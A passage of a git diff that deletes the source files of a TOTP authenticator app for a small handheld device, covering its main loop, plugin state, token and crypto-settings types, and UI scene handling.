on any other"); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Exit", NULL, NULL); - dialog_message_set_text( - message, - "Digital signature verification failed", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - return false; - } - - return true; -} - -static bool pin_activation(PluginState* const plugin_state) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - return true; -} - -static bool totp_activate_initial_scene(PluginState* const plugin_state) { - if(plugin_state->crypto_settings.crypto_verify_data == NULL) { - if(!first_run_init(plugin_state)) { - return false; - } - } else if(plugin_state->crypto_settings.pin_required) { - if(!pin_activation(plugin_state)) { - return false; - } - } else { - if(!pinless_activation(plugin_state)) { - return false; - } - } - - return true; -} - -static bool on_user_idle(void* context) { - PluginState* plugin_state = context; - if(plugin_state->current_scene != TotpSceneAuthentication && - plugin_state->current_scene != TotpSceneStandby) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - totp_scene_director_force_redraw(plugin_state); - return true; - } - - return false; -} - -static bool totp_plugin_state_init(PluginState* const plugin_state) { - plugin_state->gui = furi_record_open(RECORD_GUI); - plugin_state->dialogs_app = furi_record_open(RECORD_DIALOGS); - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - - if(!totp_config_file_load(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - plugin_state->event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt) { - plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); - } else { - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - if(plugin_state->crypto_settings.pin_required) { - plugin_state->idle_timeout_context = - idle_timeout_alloc(TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC, &on_user_idle, plugin_state); - idle_timeout_start(plugin_state->idle_timeout_context); - } else { - plugin_state->idle_timeout_context = NULL; - } - - return true; -} - -static void totp_plugin_state_free(PluginState* plugin_state) { - if(plugin_state->idle_timeout_context != NULL) { - idle_timeout_stop(plugin_state->idle_timeout_context); - idle_timeout_free(plugin_state->idle_timeout_context); - } - - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_DIALOGS); - - totp_config_file_close(plugin_state); - - if(plugin_state->crypto_settings.crypto_verify_data != NULL) { - free(plugin_state->crypto_settings.crypto_verify_data); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - if(plugin_state->event_queue != NULL) { - furi_message_queue_free(plugin_state->event_queue); - } - - free(plugin_state); -} - -int32_t totp_app() { - FURI_LOG_I( - LOGGING_TAG, - "App version: %" PRIu8 ".%" PRIu8 ".%" PRIu8, - TOTP_APP_VERSION_MAJOR, - TOTP_APP_VERSION_MINOR, - TOTP_APP_VERSION_PATCH); - FURI_LOG_I(LOGGING_TAG, "WolfSSL version: " LIBWOLFSSL_VERSION_STRING); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - furi_check(plugin_state != NULL); - - if(!totp_plugin_state_init(plugin_state)) { - FURI_LOG_E(LOGGING_TAG, "App state initialization failed\r\n"); - totp_plugin_state_free(plugin_state); - return 254; - } - - TotpCliContext* cli_context = totp_cli_register_command_handler(plugin_state); - - if(!totp_activate_initial_scene(plugin_state)) { - FURI_LOG_E(LOGGING_TAG, "An error ocurred during activating initial scene\r\n"); - totp_plugin_state_free(plugin_state); - return 253; - } - - // Affecting dolphin level - dolphin_deed(DolphinDeedPluginStart); - - FuriMutex* main_loop_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - struct TotpRenderCallbackContext render_context = { - .plugin_state = plugin_state, .mutex = main_loop_mutex}; - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, &render_context); - view_port_input_callback_set(view_port, input_callback, plugin_state->event_queue); - - // Open GUI and register view_port - gui_add_view_port(plugin_state->gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - bool processing = true; - while(processing) { - if(furi_message_queue_get(plugin_state->event_queue, &event, FuriWaitForever) == - FuriStatusOk) { - if(event.type == EventForceCloseApp) { - processing = false; - } else if(event.type == EventForceRedraw) { - processing = true; //-V1048 - } else if(furi_mutex_acquire(main_loop_mutex, FuriWaitForever) == FuriStatusOk) { - if(event.type == EventTypeKey && plugin_state->idle_timeout_context != NULL) { - idle_timeout_report_activity(plugin_state->idle_timeout_context); - } - - processing = totp_scene_director_handle_event(&event, plugin_state); - - furi_mutex_release(main_loop_mutex); - } - } - - view_port_update(view_port); - } - - totp_cli_unregister_command_handler(cli_context); - totp_scene_director_deactivate_active_scene(plugin_state); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(plugin_state->gui, view_port); - view_port_free(view_port); - furi_mutex_free(main_loop_mutex); - totp_plugin_state_free(plugin_state); - return 0; -} diff --git a/applications/external/totp/types/automation_kb_layout.h b/applications/external/totp/types/automation_kb_layout.h deleted file mode 100644 index 9c23e91ab..000000000 --- a/applications/external/totp/types/automation_kb_layout.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -typedef uint8_t AutomationKeyboardLayout; - -enum AutomationKeyboardLayouts { - AutomationKeyboardLayoutQWERTY = 0, - AutomationKeyboardLayoutAZERTY = 1 -}; \ No newline at end of file diff --git a/applications/external/totp/types/automation_method.h b/applications/external/totp/types/automation_method.h deleted file mode 100644 index 24c85ee76..000000000 --- a/applications/external/totp/types/automation_method.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include "../config/app/config.h" - -typedef uint8_t AutomationMethod; - -enum AutomationMethods { - AutomationMethodNone = 0b00, - AutomationMethodBadUsb = 0b01, -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - AutomationMethodBadBt = 0b10, -#endif -}; diff --git a/applications/external/totp/types/common.c b/applications/external/totp/types/common.c deleted file mode 100644 index ec5eb3ebd..000000000 --- a/applications/external/totp/types/common.c +++ /dev/null @@ -1,3 +0,0 @@ -#include "common.h" - -const char* LOGGING_TAG = "TOTP APP"; \ No newline at end of file diff --git a/applications/external/totp/types/common.h b/applications/external/totp/types/common.h deleted file mode 100644 index 737adb82d..000000000 --- a/applications/external/totp/types/common.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -extern const char* LOGGING_TAG; diff --git a/applications/external/totp/types/crypto_settings.h b/applications/external/totp/types/crypto_settings.h deleted file mode 100644 index 22daf147e..000000000 --- a/applications/external/totp/types/crypto_settings.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once - -#include -#include "../services/crypto/constants.h" - -typedef struct { - /** - * @brief Crypto key slot to be used - */ - uint8_t crypto_key_slot; - - /** - * @brief Crypto algorithms version to be used - */ - uint8_t crypto_version; - - /** - * @brief Initialization vector (IV) to be used for encryption\decryption - */ - uint8_t iv[CRYPTO_IV_LENGTH]; - - /** - * @brief Randomly-generated salt - */ - uint8_t salt[CRYPTO_SALT_LENGTH]; - - /** - * @brief Encrypted well-known data - */ - uint8_t* crypto_verify_data; - - /** - * @brief Encrypted well-known data length - */ - size_t crypto_verify_data_length; - - /** - * @brief Whether user's PIN is required or not - */ - bool pin_required; -} CryptoSettings; \ No newline at end of file diff --git a/applications/external/totp/types/event_type.h b/applications/external/totp/types/event_type.h deleted file mode 100644 index 138f528d8..000000000 --- a/applications/external/totp/types/event_type.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#include - -typedef uint8_t EventType; - -enum EventTypes { EventTypeTick, EventTypeKey, EventForceCloseApp, EventForceRedraw }; diff --git a/applications/external/totp/types/notification_method.h b/applications/external/totp/types/notification_method.h deleted file mode 100644 index f86613352..000000000 --- a/applications/external/totp/types/notification_method.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -typedef uint8_t NotificationMethod; - -enum NotificationMethods { - NotificationMethodNone = 0b00, - NotificationMethodSound = 0b01, - NotificationMethodVibro = 0b10, -}; diff --git a/applications/external/totp/types/plugin_event.h b/applications/external/totp/types/plugin_event.h deleted file mode 100644 index 76c22af59..000000000 --- a/applications/external/totp/types/plugin_event.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include -#include "event_type.h" - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; diff --git a/applications/external/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h deleted file mode 100644 index 388da5edf..000000000 --- a/applications/external/totp/types/plugin_state.h +++ /dev/null @@ -1,93 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../config/app/config.h" -#include "../ui/totp_scenes_enum.h" -#include "../services/config/config_file_context.h" -#include "../services/idle_timeout/idle_timeout.h" -#include "notification_method.h" -#include "automation_method.h" -#include "automation_kb_layout.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../workers/bt_type_code/bt_type_code.h" -#endif -#include "crypto_settings.h" - -/** - * @brief Application state structure - */ -typedef struct { - /** - * @brief Application current scene - */ - Scene current_scene; - - /** - * @brief Application current scene state - */ - void* current_scene_state; - - /** - * @brief Reference to the firmware dialogs subsystem - */ - DialogsApp* dialogs_app; - - /** - * @brief Reference to the firmware GUI subsystem - */ - Gui* gui; - - /** - * @brief Timezone UTC offset in hours - */ - float timezone_offset; - - /** - * @brief Config file context - */ - ConfigFileContext* config_file_context; - - /** - * @brief Notification method - */ - NotificationMethod notification_method; - - /** - * @brief Automation method - */ - AutomationMethod automation_method; - - /** - * @brief Automation keyboard layout to be used - */ - AutomationKeyboardLayout automation_kb_layout; - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - /** - * @brief Bad-Bluetooth worker context - */ - TotpBtTypeCodeWorkerContext* bt_type_code_worker_context; -#endif - - /** - * @brief IDLE timeout context - */ - IdleTimeoutContext* idle_timeout_context; - - /** - * @brief Font index to be used to draw TOTP token - */ - uint8_t active_font_index; - - /** - * @brief Application even queue - */ - FuriMessageQueue* event_queue; - - /** - * @brief Crypto settings - */ - CryptoSettings crypto_settings; -} PluginState; diff --git a/applications/external/totp/types/token_info.c b/applications/external/totp/types/token_info.c deleted file mode 100644 index 1d1e73160..000000000 --- a/applications/external/totp/types/token_info.c +++ /dev/null @@ -1,207 +0,0 @@ -#include "token_info.h" -#include -#include -#include -#include -#include "common.h" -#include "../services/crypto/crypto_facade.h" - -TokenInfo* token_info_alloc() { - TokenInfo* tokenInfo = malloc(sizeof(TokenInfo)); - furi_check(tokenInfo != NULL); - tokenInfo->name = furi_string_alloc(); - token_info_set_defaults(tokenInfo); - return tokenInfo; -} - -void token_info_free(TokenInfo* token_info) { - if(token_info == NULL) return; - free(token_info->token); - furi_string_free(token_info->name); - free(token_info); -} - -bool token_info_set_secret( - TokenInfo* token_info, - const char* plain_token_secret, - size_t token_secret_length, - PlainTokenSecretEncoding plain_token_secret_encoding, - const CryptoSettings* crypto_settings) { - if(token_secret_length == 0) return false; - uint8_t* plain_secret; - size_t plain_secret_length; - size_t plain_secret_size; - if(plain_token_secret_encoding == PlainTokenSecretEncodingBase32) { - plain_secret_size = token_secret_length; - plain_secret = malloc(plain_secret_size); - furi_check(plain_secret != NULL); - plain_secret_length = - base32_decode((const uint8_t*)plain_token_secret, plain_secret, plain_secret_size); - } else if(plain_token_secret_encoding == PlainTokenSecretEncodingBase64) { - plain_secret_length = 0; - plain_secret = base64_decode( - (const uint8_t*)plain_token_secret, - token_secret_length, - &plain_secret_length, - &plain_secret_size); - furi_check(plain_secret != NULL); - } else { - return false; - } - - bool result; - if(plain_secret_length > 0) { - if(token_info->token != NULL) { - free(token_info->token); - } - - token_info->token = totp_crypto_encrypt( - plain_secret, plain_secret_length, crypto_settings, &token_info->token_length); - result = true; - } else { - result = false; - } - - memset_s(plain_secret, plain_secret_size, 0, plain_secret_size); - free(plain_secret); - return result; -} - -bool token_info_set_digits_from_int(TokenInfo* token_info, uint8_t digits) { - switch(digits) { - case 5: - token_info->digits = TokenDigitsCountFive; - return true; - case 6: - token_info->digits = TokenDigitsCountSix; - return true; - case 8: - token_info->digits = TokenDigitsCountEight; - return true; - default: - break; - } - - return false; -} - -bool token_info_set_duration_from_int(TokenInfo* token_info, uint8_t duration) { -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wtype-limits" - if(duration >= TokenDurationMin && duration <= TokenDurationMax) { //-V560 - token_info->duration = duration; - return true; - } -#pragma GCC diagnostic pop - - return false; -} - -bool token_info_set_algo_from_str(TokenInfo* token_info, const FuriString* str) { - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA1_NAME) == 0) { - token_info->algo = TokenHashAlgoSha1; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA256_NAME) == 0) { - token_info->algo = TokenHashAlgoSha256; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA512_NAME) == 0) { - token_info->algo = TokenHashAlgoSha512; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_STEAM_NAME) == 0) { - token_info->algo = TokenHashAlgoSteam; - return true; - } - - return false; -} - -bool token_info_set_algo_from_int(TokenInfo* token_info, uint8_t algo_code) { - switch(algo_code) { - case TokenHashAlgoSha1: - token_info->algo = TokenHashAlgoSha1; - break; - case TokenHashAlgoSha256: - token_info->algo = TokenHashAlgoSha256; - break; - case TokenHashAlgoSha512: - token_info->algo = TokenHashAlgoSha512; - break; - case TokenHashAlgoSteam: - token_info->algo = TokenHashAlgoSteam; - break; - default: - return false; - } - - return true; -} - -const char* token_info_get_algo_as_cstr(const TokenInfo* token_info) { - switch(token_info->algo) { - case TokenHashAlgoSha1: - return TOKEN_HASH_ALGO_SHA1_NAME; - case TokenHashAlgoSha256: - return TOKEN_HASH_ALGO_SHA256_NAME; - case TokenHashAlgoSha512: - return TOKEN_HASH_ALGO_SHA512_NAME; - case TokenHashAlgoSteam: - return TOKEN_HASH_ALGO_STEAM_NAME; - default: - break; - } - - return NULL; -} - -bool token_info_set_automation_feature_from_str(TokenInfo* token_info, const FuriString* str) { - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureEnterAtTheEnd; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureTabAtTheEnd; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureTypeSlower; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_NONE_NAME) == 0) { - token_info->automation_features = TokenAutomationFeatureNone; - return true; - } - - return false; -} - -TokenInfo* token_info_clone(const TokenInfo* src) { - TokenInfo* clone = token_info_alloc(); - memcpy(clone, src, sizeof(TokenInfo)); - - clone->token = malloc(src->token_length); - furi_check(clone->token != NULL); - memcpy(clone->token, src->token, src->token_length); - - clone->name = furi_string_alloc(); - furi_string_set(clone->name, src->name); - - return clone; -} - -void token_info_set_defaults(TokenInfo* token_info) { - furi_check(token_info != NULL); - token_info->algo = TokenHashAlgoDefault; - token_info->digits = TokenDigitsCountDefault; - token_info->duration = TokenDurationDefault; - token_info->automation_features = TokenAutomationFeatureNone; - furi_string_reset(token_info->name); -} \ No newline at end of file diff --git a/applications/external/totp/types/token_info.h b/applications/external/totp/types/token_info.h deleted file mode 100644 index 969445dff..000000000 --- a/applications/external/totp/types/token_info.h +++ /dev/null @@ -1,272 +0,0 @@ -#pragma once - -#include -#include -#include -#include "crypto_settings.h" - -#define TOKEN_HASH_ALGO_SHA1_NAME "sha1" -#define TOKEN_HASH_ALGO_STEAM_NAME "steam" -#define TOKEN_HASH_ALGO_SHA256_NAME "sha256" -#define TOKEN_HASH_ALGO_SHA512_NAME "sha512" -#define PLAIN_TOKEN_ENCODING_BASE32_NAME "base32" -#define PLAIN_TOKEN_ENCODING_BASE64_NAME "base64" -#define TOKEN_AUTOMATION_FEATURE_NONE_NAME "none" -#define TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME "enter" -#define TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME "tab" -#define TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME "slower" - -typedef uint8_t TokenHashAlgo; -typedef uint8_t TokenDigitsCount; -typedef uint8_t TokenDuration; -typedef uint8_t TokenAutomationFeature; -typedef uint8_t PlainTokenSecretEncoding; - -/** - * @brief Hashing algorithm to be used to generate token - */ -enum TokenHashAlgos { - /** - * @brief SHA1 hashing algorithm - */ - TokenHashAlgoSha1 = 0, - - /** - * @brief SHA256 hashing algorithm - */ - TokenHashAlgoSha256 = 1, - - /** - * @brief SHA512 hashing algorithm - */ - TokenHashAlgoSha512 = 2, - - /** - * @brief Algorithm used by Steam (Valve) - */ - TokenHashAlgoSteam = 3, - - /** - * @brief Default token hashing algorithm - */ - TokenHashAlgoDefault = TokenHashAlgoSha1 -}; - -/** - * @brief Token digits count to be generated. - */ -enum TokenDigitsCounts { - /** - * @brief 5 digits - */ - TokenDigitsCountFive = 5, - - /** - * @brief 6 digits - */ - TokenDigitsCountSix = 6, - - /** - * @brief 8 digits - */ - TokenDigitsCountEight = 8, - - /** - * @brief Default digits count - */ - TokenDigitsCountDefault = TokenDigitsCountSix, - - /** - * @brief Maximum digits count - */ - TokenDigitsCountMax = TokenDigitsCountEight -}; - -/** - * @brief Token durations - */ -enum TokenDurations { - /** - * @brief Default token duration - */ - TokenDurationDefault = 30, - - /** - * @brief Minimum token duration - */ - TokenDurationMin = 15, - - /** - * @brief Maximum token duration - */ - TokenDurationMax = UINT8_MAX -}; - -/** - * @brief Token automation features. - */ -enum TokenAutomationFeatures { - /** - * @brief No features enabled - */ - TokenAutomationFeatureNone = 0b000, - - /** - * @brief Press "Enter" key at the end as a part of token input automation - */ - TokenAutomationFeatureEnterAtTheEnd = 0b001, - - /** - * @brief Press "Tab" key at the end as a part of token input automation - */ - TokenAutomationFeatureTabAtTheEnd = 0b010, - - /** - * @brief Press keys slower and wait longer between keystrokes - */ - TokenAutomationFeatureTypeSlower = 0b100 -}; - -/** - * @brief Plain token secret encodings. - */ -enum PlainTokenSecretEncodings { - - /** - * @brief Base32 encoding - */ - PlainTokenSecretEncodingBase32 = 0, - - /** - * @brief Base64 encoding - */ - PlainTokenSecretEncodingBase64 = 1 -}; - -/** - * @brief TOTP token information - */ -typedef struct { - /** - * @brief Encrypted token secret - */ - uint8_t* token; - - /** - * @brief Encrypted token secret length - */ - size_t token_length; - - /** - * @brief User-friendly token name - */ - FuriString* name; - - /** - * @brief Hashing algorithm - */ - TokenHashAlgo algo; - - /** - * @brief Desired TOTP token length - */ - TokenDigitsCount digits; - - /** - * @brief Desired TOTP token duration in seconds - */ - TokenDuration duration; - - /** - * @brief Token input automation features - */ - TokenAutomationFeature automation_features; -} TokenInfo; - -/** - * @brief Allocates a new instance of \c TokenInfo - * @return - */ -TokenInfo* token_info_alloc(); - -/** - * @brief Disposes all the resources allocated by the given \c TokenInfo instance - * @param token_info instance to be disposed - */ -void token_info_free(TokenInfo* token_info); - -/** - * @brief Encrypts & sets plain token secret to the given instance of \c TokenInfo - * @param token_info instance where secret should be updated - * @param plain_token_secret plain token secret - * @param token_secret_length plain token secret length - * @param plain_token_secret_encoding plain token secret encoding - * @param crypto_settings crypto settings - * @return \c true if token successfully set; \c false otherwise - */ -bool token_info_set_secret( - TokenInfo* token_info, - const char* plain_token_secret, - size_t token_secret_length, - PlainTokenSecretEncoding plain_token_secret_encoding, - const CryptoSettings* crypto_settings); - -/** - * @brief Sets token digits count from \c uint8_t value - * @param token_info instance whichs token digits count length should be updated - * @param digits desired token digits count length - * @return \c true if token digits count length has been updated; \c false otherwise - */ -bool token_info_set_digits_from_int(TokenInfo* token_info, uint8_t digits); - -/** - * @brief Sets token duration from \c uint8_t value - * @param token_info instance whichs token digits count length should be updated - * @param duration desired token duration in seconds - * @return \c true if token duration has been updated; \c false otherwise - */ -bool token_info_set_duration_from_int(TokenInfo* token_info, uint8_t duration); - -/** - * @brief Sets token hashing algorithm from \c str value - * @param token_info instance whichs token hashing algorithm should be updated - * @param str desired token algorithm - * @return \c true if token hashing algorithm has been updated; \c false otherwise - */ -bool token_info_set_algo_from_str(TokenInfo* token_info, const FuriString* str); - -/** - * @brief Sets token hashing algorithm from \c algo_code code - * @param token_info instance whichs token hashing algorithm should be updated - * @param algo_code desired token algorithm code - * @return \c true if token hashing algorithm has been updated; \c false otherwise - */ -bool token_info_set_algo_from_int(TokenInfo* token_info, uint8_t algo_code); - -/** - * @brief Gets token hahsing algorithm name as C-string - * @param token_info instance which token hahsing algorithm name should be returned - * @return token hashing algorithm name as C-string - */ -const char* token_info_get_algo_as_cstr(const TokenInfo* token_info); - -/** - * @brief Sets token automation feature from \c str value - * @param token_info instance whichs token automation feature should be updated - * @param str desired token automation feature - * @return \c true if token automation feature has been set; \c false otherwise - */ -bool token_info_set_automation_feature_from_str(TokenInfo* token_info, const FuriString* str); - -/** - * @brief Clones \c TokenInfo instance - * @param src instance to clone - * @return cloned instance - */ -TokenInfo* token_info_clone(const TokenInfo* src); - -/** - * @brief Sets default values to all the properties of \c token_info - * @param token_info instance to set defaults to - */ -void token_info_set_defaults(TokenInfo* token_info); diff --git a/applications/external/totp/types/user_pin_codes.h b/applications/external/totp/types/user_pin_codes.h deleted file mode 100644 index b5d72d398..000000000 --- a/applications/external/totp/types/user_pin_codes.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -typedef uint8_t TotpUserPinCode; - -enum TotpUserPinCodes { - PinCodeArrowUp = 2, - PinCodeArrowRight = 8, - PinCodeArrowDown = 11, - PinCodeArrowLeft = 5 -}; \ No newline at end of file diff --git a/applications/external/totp/ui/canvas_extensions.c b/applications/external/totp/ui/canvas_extensions.c deleted file mode 100644 index d3f044b77..000000000 --- a/applications/external/totp/ui/canvas_extensions.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "canvas_extensions.h" - -void canvas_draw_str_ex( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* text, - size_t text_length, - const FONT_INFO* const font) { - const char* p_ch = text; - char ch; - size_t i = 0; - uint8_t offset_x = x; - uint8_t char_width = font->charInfo[0].width; - uint8_t offset_x_inc = char_width + font->spacePixels; - while(i < text_length && (ch = *p_ch) != 0) { - if(ch >= font->startChar && ch <= font->endChar) { - uint8_t char_index = ch - font->startChar; - canvas_draw_xbm( - canvas, - offset_x, - y, - char_width, - font->height, - &font->data[font->charInfo[char_index].offset]); - } - - offset_x += offset_x_inc; - - p_ch++; - i++; - } -} \ No newline at end of file diff --git a/applications/external/totp/ui/canvas_extensions.h b/applications/external/totp/ui/canvas_extensions.h deleted file mode 100644 index 2e053b488..000000000 --- a/applications/external/totp/ui/canvas_extensions.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include -#include -#include - -/** - * @brief Draw string using given font - * @param canvas canvas to draw string at - * @param x horizontal position - * @param y vertical position - * @param text string to draw - * @param text_length string length - * @param font font to be used to draw string - */ -void canvas_draw_str_ex( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* text, - size_t text_length, - const FONT_INFO* const font); \ No newline at end of file diff --git a/applications/external/totp/ui/common_dialogs.c b/applications/external/totp/ui/common_dialogs.c deleted file mode 100644 index 0a10389e1..000000000 --- a/applications/external/totp/ui/common_dialogs.c +++ /dev/null @@ -1,20 +0,0 @@ -#include "common_dialogs.h" -#include "constants.h" - -static DialogMessageButton totp_dialogs_common(PluginState* plugin_state, const char* text) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Exit", NULL, NULL); - dialog_message_set_text( - message, text, SCREEN_WIDTH_CENTER, SCREEN_HEIGHT_CENTER, AlignCenter, AlignCenter); - DialogMessageButton result = dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - return result; -} - -DialogMessageButton totp_dialogs_config_loading_error(PluginState* plugin_state) { - return totp_dialogs_common(plugin_state, "An error has occurred\nduring loading config file"); -} - -DialogMessageButton totp_dialogs_config_updating_error(PluginState* plugin_state) { - return totp_dialogs_common(plugin_state, "An error has occurred\nduring updating config file"); -} \ No newline at end of file diff --git a/applications/external/totp/ui/common_dialogs.h b/applications/external/totp/ui/common_dialogs.h deleted file mode 100644 index 1ddd80a75..000000000 --- a/applications/external/totp/ui/common_dialogs.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -/** - * @brief Shows standard dialog about the fact that error occurred when loading config file - * @param plugin_state application state - * @return dialog button which user pressed to close the dialog - */ -DialogMessageButton totp_dialogs_config_loading_error(PluginState* plugin_state); - -/** - * @brief Shows standard dialog about the fact that error occurred when updating config file - * @param plugin_state application state - * @return dialog button which user pressed to close the dialog - */ -DialogMessageButton totp_dialogs_config_updating_error(PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/constants.h b/applications/external/totp/ui/constants.h deleted file mode 100644 index 81c2edf92..000000000 --- a/applications/external/totp/ui/constants.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#define SCREEN_WIDTH (128) -#define SCREEN_HEIGHT (64) -#define SCREEN_WIDTH_CENTER (SCREEN_WIDTH >> 1) -#define SCREEN_HEIGHT_CENTER (SCREEN_HEIGHT >> 1) diff --git a/applications/external/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c deleted file mode 100644 index cddbd7136..000000000 --- a/applications/external/totp/ui/scene_director.c +++ /dev/null @@ -1,134 +0,0 @@ -#include "../types/common.h" -#include "../config/app/config.h" -#include "scene_director.h" -#include "scenes/authenticate/totp_scene_authenticate.h" -#include "scenes/generate_token/totp_scene_generate_token.h" -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED -#include "scenes/add_new_token/totp_scene_add_new_token.h" -#endif -#include "scenes/token_menu/totp_scene_token_menu.h" -#include "scenes/app_settings/totp_app_settings.h" -#include "scenes/standby/standby.h" - -void totp_scene_director_activate_scene(PluginState* const plugin_state, Scene scene) { - totp_scene_director_deactivate_active_scene(plugin_state); - switch(scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_activate(plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_activate(plugin_state); - break; -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - case TotpSceneAddNewToken: - totp_scene_add_new_token_activate(plugin_state); - break; -#endif - case TotpSceneTokenMenu: - totp_scene_token_menu_activate(plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_activate(plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } - - plugin_state->current_scene = scene; -} - -void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state) { - Scene current_scene = plugin_state->current_scene; - plugin_state->current_scene = TotpSceneNone; - switch(current_scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_deactivate(plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_deactivate(plugin_state); - break; -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - case TotpSceneAddNewToken: - totp_scene_add_new_token_deactivate(plugin_state); - break; -#endif - case TotpSceneTokenMenu: - totp_scene_token_menu_deactivate(plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_deactivate(plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } -} - -void totp_scene_director_render(Canvas* const canvas, PluginState* const plugin_state) { - switch(plugin_state->current_scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_render(canvas, plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_render(canvas, plugin_state); - break; -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - case TotpSceneAddNewToken: - totp_scene_add_new_token_render(canvas, plugin_state); - break; -#endif - case TotpSceneTokenMenu: - totp_scene_token_menu_render(canvas, plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_render(canvas, plugin_state); - break; - case TotpSceneNone: - break; - case TotpSceneStandby: - totp_scene_standby_render(canvas); - break; - default: - break; - } -} - -bool totp_scene_director_handle_event(PluginEvent* const event, PluginState* const plugin_state) { - bool processing = true; - switch(plugin_state->current_scene) { - case TotpSceneGenerateToken: - processing = totp_scene_generate_token_handle_event(event, plugin_state); - break; - case TotpSceneAuthentication: - processing = totp_scene_authenticate_handle_event(event, plugin_state); - break; -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - case TotpSceneAddNewToken: - processing = totp_scene_add_new_token_handle_event(event, plugin_state); - break; -#endif - case TotpSceneTokenMenu: - processing = totp_scene_token_menu_handle_event(event, plugin_state); - break; - case TotpSceneAppSettings: - processing = totp_scene_app_settings_handle_event(event, plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } - - return processing; -} - -void totp_scene_director_force_redraw(PluginState* const plugin_state) { - PluginEvent event = {.type = EventForceRedraw}; - furi_message_queue_put(plugin_state->event_queue, &event, FuriWaitForever); -} \ No newline at end of file diff --git a/applications/external/totp/ui/scene_director.h b/applications/external/totp/ui/scene_director.h deleted file mode 100644 index 1f09f9ea9..000000000 --- a/applications/external/totp/ui/scene_director.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" -#include "../types/plugin_event.h" -#include "totp_scenes_enum.h" - -/** - * @brief 